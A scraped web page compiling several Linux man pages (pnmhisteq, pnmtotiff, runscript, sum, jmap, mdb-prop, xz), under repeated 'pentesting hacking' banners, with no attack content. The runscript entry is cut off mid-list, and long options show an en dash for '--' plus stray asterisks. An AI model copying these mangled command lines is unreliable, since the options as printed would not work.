               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1724 - Linux cli command pnmhisteq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmhisteq and provides detailed information about the command pnmhisteq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmhisteq.

.

NAME 🖥️ pnmhisteq 🖥️

histogram equalize a PNM image

SYNOPSIS

pnmhisteq

[-gray]

[-noblack] [-nowhite]

[-rmap pgmfile]

[-wmap pgmfile]

[-verbose]

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmhisteq increases the contrast of a PGM or PPM image through the technique of “histogram equalization.”[1]

pnmhisteq computes a histogram of the luminosity of the pixels in the image. It then calculates a mapping between each luminosity and a new luminosity such that it spreads out intensity levels around histogram peaks and compresses them at troughs. I.e. it moves pixels around in the histogram so as to make it flat. It applies that mapping to the input image to produce the output image. The effect of this is that the image has equal numbers of pixels at each possible intensity level, which means it uses the available levels of intensity more efficiently and thereby has more visible detail.

Mathematically, the luminosity mapping is this: Assume the pixels are sorted by luminosity into B buckets numbered from 0 (lowest luminosity) to B-1. N[i] is the number of pixels in bucket i. T is the total number of pixels (sum of N[i] over all i). W is the luminosity of white.

pnmhisteq replaces an input pixel whose luminosity falls into bucket j with one whose luminosity is:

      j
     ---
     \
      > (N[i] / T) * W
     /
     ---
     i=0

Considering a grayscale image for simplicity, this means that pixels in the most luminous bucket become white. Pixels in the 10th per centile of luminosity become 10% of white.

pnmhisteq maps a single luminosity in the input to a single luminosity in the output. That means if pixels A and B both have luminosity .2 in the input, and pixel A has luminosity .4 in the output, pixel B also has luminosity .4 in the output. And since the luminosities in the input are not continuous, the luminosities in the output aren’t either and pnmhisteq doesn’t meet the ideal of having exactly the same number of pixels of each luminosity in the output.

If you’re processing a related set of images, for example frames of an animation, it’s generally best to apply the same luminosity mapping to every frame, since otherwise you’ll get distracting frame-to-frame changes in the brightness of objects. pnmhisteq’s -wmap option allows you to save, as a PGM image, the luminosity map it computes from an image. The -rmap option causes pnmisteq to use such an image as its luminosity map.

So you can run pnmhisteq with -wmap on a composite you created with pamcat of the images you intend to process. Then, you can run pnmisteq with -rmap on each of the individual images, using the luminosity map you generated from the composite.

Use pnmhistmap to see the result. Run a color image through ppmtopgm first so that you see a histogram of the luminosity instead of histograms of the three color components. It should generally show a flat histogram. But because of the quantization effects described above, you might see high bars interleaved with low bars, with the local average being flat. To see local averages, use the -width option of pnmhistmap.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmhisteq recognizes the following command line options:

You can abbreviate any option to its shortest unique prefix.

-gray
When processing a color image, only gray pixels (those with identical red, green, and blue values) are included in the histogram and modified in the output image. This is a special purpose option intended for images where the actual data are gray scale, with color annotations you don’t want modified. Weather satellite images that show continent outlines in color are best processed using this option. The option has no effect when the input is a graymap.

-noblack
Do not include black pixels in the equalization. The black pixels in the output are exactly the black pixels in the input and the number of black pixels does not affect the color of any other pixels.

Sometimes, black isn’t as much a color as a background or annotation for the real colors, so you want to treat it specially this way. Think of a picture of stars, which is nearly all black, but with lots of stars of different brightness. You want to change the brightnesses of the stars to maximize contrast between them, but if you considered the blackness to be significant, all the stars would end up close to full white.

This option was new in Netpbm 10.70 (March 2015).

-nowhite
Same as -noblack, but for the white pixels.

This option was new in Netpbm 10.70 (March 2015).

-rmap mapfile
Process the image using the luminosity map specified by the PGM file mapfile.

The PGM image, usually created by an earlier run of pnmhisteq with the -wmap option, contains a single row with number of columns equal to the maxval (greatest intensity value) of the image plus one. Each pixel in the image is transformed by looking up its luminosity in the corresponding column in the map file (column number = luminosity) and changing it to the value given by that column.

-wmap mapfile
Creates a PGM file mapfile, containing the luminosity map computed from the histogram of the input image. This map file can be read on subsequent runs of pnmhisteq with the -rmap option, allowing a group of images to be processed with an identical map.

-verbose
Prints the histogram and luminosity map on Standard Error.

LIMITATIONS

Histogram equalization is effective for increasing the visible detail in scientific imagery and in some continuous-tone pictures. It is often too drastic, however, for scanned halftone images, where it does an excellent job of making halftone artifacts apparent. You might want to experiment with pnmnorm and pnmgamma for more subtle contrast enhancement.

The luminosity map file supplied by the -rmap option must have the same maxval as the input image. This is always the case when the map file was created by the -wmap option of pnmhisteq. If this restriction causes a problem, simply adjust the maxval of the map with pamdepth to agree with the input image.

If the input is a PBM file (on which histogram equalization is an identity operation), the only effect of passing the file through pnmhisteq will be the passage of time.

SEE ALSO

pnmnorm(1) , pamcat(1) , pamdepth(1) , pnmgamma(1) , pnm(1) ,

[1]
Russ, John C. The Image Processing Handbook. Boca Raton: CRC Press, 1992. Pages 105-110.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmhisteq.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1725 - Linux cli command pnmtotiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtotiff and provides detailed information about the command pnmtotiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtotiff.

.

NAME 🖥️ pnmtotiff 🖥️

replaced by pamtotiff

DESCRIPTION

This program is part of Netpbm(1) .

In Netpbm 10.30 (October 2005), pnmtotiff was extended and renamed to pamtotiff(1) .

pamtotiff is backward compatible with pnmtotiff.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtotiff.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1726 - Linux cli command runscript

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command runscript and provides detailed information about the command runscript, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the runscript.

NAME 🖥️ runscript 🖥️

script interpreter for minicom

SYNOPSIS

runscript scriptname [logfile [homedir]]

DESCRIPTION

runscript is a simple script interpreter that can be called from within the minicom communications program to automate tasks like logging in to a Unix system or your favorite BBS.

INVOCATION

The program expects a script name and optionally a filename and the user’s home directory as arguments, and it expects that it’s input and output are connected to the  “remote end “, the system you are connecting to. All messages from runscript meant for the local screen are directed to the stderr output. All this is automatically taken care of if you run it from minicom. The logfile and home directory parameters are only used to tell the log command the name of the logfile and where to write it. If the homedir is omitted, runscript uses the directory found in the $HOME environment variable. If also the logfile name is omitted, the log commands are ignored.

KEYWORDS

Runscript recognizes the following commands:

expect   send     goto     gosub    return    !<    !
exit     print    set      inc      dec      if   timeout
verbose  sleep    break    call     log

OVERVIEW OF KEYWORDS

send <string>
<string> is sent to the modem. It is followed by a ’ ‘. <string> can be: - regular text, e.g. ‘send hello’ - text enclosed in quotes, e.g. ‘send  “hello world “’

Within <string> the following sequences are recognized:

  • newline - carriage return  - bell  - backspace

1727 - Linux cli command sum

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sum and provides detailed information about the command sum, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sum.

NAME 🖥️ sum 🖥️

checksum and count the blocks in a file

SYNOPSIS

sum [OPTION]… [FILE]…

DESCRIPTION

Print or check BSD (16-bit) checksums.

With no FILE, or when FILE is -, read standard input.

-r
use BSD sum algorithm (the default), use 1K blocks

-s, –sysv
use System V sum algorithm, use 512 bytes blocks

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Kayvan Aghaiepour and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/sum>
or available locally via: info ‘(coreutils) sum invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1728 - Linux cli command jmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jmap and provides detailed information about the command jmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jmap.

NAME 🖥️ jmap 🖥️

print details of a specified process

SYNOPSIS

Note: This command is experimental and unsupported.

jmap [options] pid

options
This represents the jmap command-line options. See Options for the jmap Command.

pid
The process ID for which the information specified by the options is to be printed. The process must be a Java process. To get a list of Java processes running on a machine, use either the ps command or, if the JVM processes are not running in a separate docker instance, the jps command.

DESCRIPTION

The jmap command prints details of a specified running process.

Note:

This command is unsupported and might not be available in future releases of the JDK. On Windows Systems where the dbgeng.dll file isn’t present, the Debugging Tools for Windows must be installed to make these tools work. The PATH environment variable should contain the location of the jvm.dll file that’s used by the target process or the location from which the core dump file was produced.

OPTIONS FOR THE JMAP COMMAND

-clstats pid
Connects to a running process and prints class loader statistics of Java heap.

-finalizerinfo pid
Connects to a running process and prints information on objects awaiting finalization.

****-histo[:live] pid
Connects to a running process and prints a histogram of the Java object heap. If the live suboption is specified, it then counts only live objects.

****-dump:dump_options pid
Connects to a running process and dumps the Java heap. The dump_options include:

  • live — When specified, dumps only the live objects; if not specified, then dumps all objects in the heap.

  • format=b — Dumps the Java heap in hprof binary format

  • **file=**filename — Dumps the heap to filename

Example: jmap -dump:live,format=b,file=heap.bin pid

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1729 - Linux cli command mdb-prop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-prop and provides detailed information about the command mdb-prop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-prop.

NAME 🖥️ mdb-prop 🖥️

prop** - Get properties list from MDB database

SYNOPSIS

mdb-prop database name [propcol]
mdb-prop --version

DESCRIPTION

mdb-prop is a utility program distributed with MDB Tools.

Print a properties list from an MDB database**.**

name is the name of the table, querry, or other object.

propcol is the name of the system table MSysObjects’ column containing properties. It defaults to LvProp.

OPTIONS

–version
Print the mdbtools version and exit.

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-prop utility was written by Brian Bruns.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1730 - Linux cli command unxz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unxz and provides detailed information about the command unxz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unxz.

NAME 🖥️ unxz 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

